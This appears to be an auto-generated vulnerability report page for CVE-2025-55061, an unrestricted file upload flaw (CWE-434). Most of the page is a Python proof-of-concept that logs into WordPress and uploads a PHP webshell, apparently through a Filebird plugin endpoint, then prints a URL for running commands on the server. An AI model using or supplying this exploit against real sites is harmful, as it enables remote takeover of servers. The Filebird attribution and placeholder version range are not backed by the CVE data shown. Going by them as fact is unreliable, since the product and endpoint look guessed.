Security Vulnerability Report
中文
CVE-2025-55061 CVSS 8.8 HIGH

CVE-2025-55061

Published: 2025-12-29 18:15:43
Last Modified: 2026-04-15 00:35:42

Description

CWE-434 Unrestricted Upload of File with Dangerous Type

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

WordPress Filebird插件 < 5.x.x(具体版本需查看官方公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-55061 PoC - WordPress Filebird Plugin Unrestricted File Upload This PoC demonstrates the arbitrary file upload vulnerability in Filebird plugin. """ import requests import sys def upload_webshell(target_url, username, password): """ Upload a PHP webshell via Filebird plugin vulnerable endpoint. Args: target_url: Base URL of the WordPress site username: WordPress username (low privilege account) password: WordPress password Returns: bool: True if upload successful, False otherwise """ # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } print(f"[*] Authenticating as {username}...") resp = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Upload malicious PHP file via Filebird endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" # PHP webshell payload webshell_content = "<?php if(isset($_REQUEST['cmd'])){ echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; } ?>" files = { 'file': ('shell.php', webshell_content, 'image/jpeg') } data = { 'action': 'filebird_upload_file', 'post_id': '0' } print(f"[*] Uploading webshell via Filebird plugin...") resp = session.post(upload_url, files=files, data=data) if resp.status_code == 200 and 'shell.php' in resp.text: print("[+] Webshell uploaded successfully!") # Extract uploaded file path from response import re path_match = re.search(r'"url":"([^"]+)"', resp.text) if path_match: shell_url = path_match.group(1).replace('\\/', '/') print(f"[+] Webshell URL: {shell_url}") print(f"[+] Execute commands: {shell_url}?cmd=whoami") return True print("[-] Upload failed or target not vulnerable!") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} http://target.com admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] upload_webshell(target, user, pwd)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55061", "sourceIdentifier": "[email protected]", "published": "2025-12-29T18:15:43.070", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CWE-434 Unrestricted Upload of File with Dangerous Type"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://www.gov.il/en/departments/dynamiccollectors/cve_advisories_listing?skip=0", "source": "[email protected]"}]}}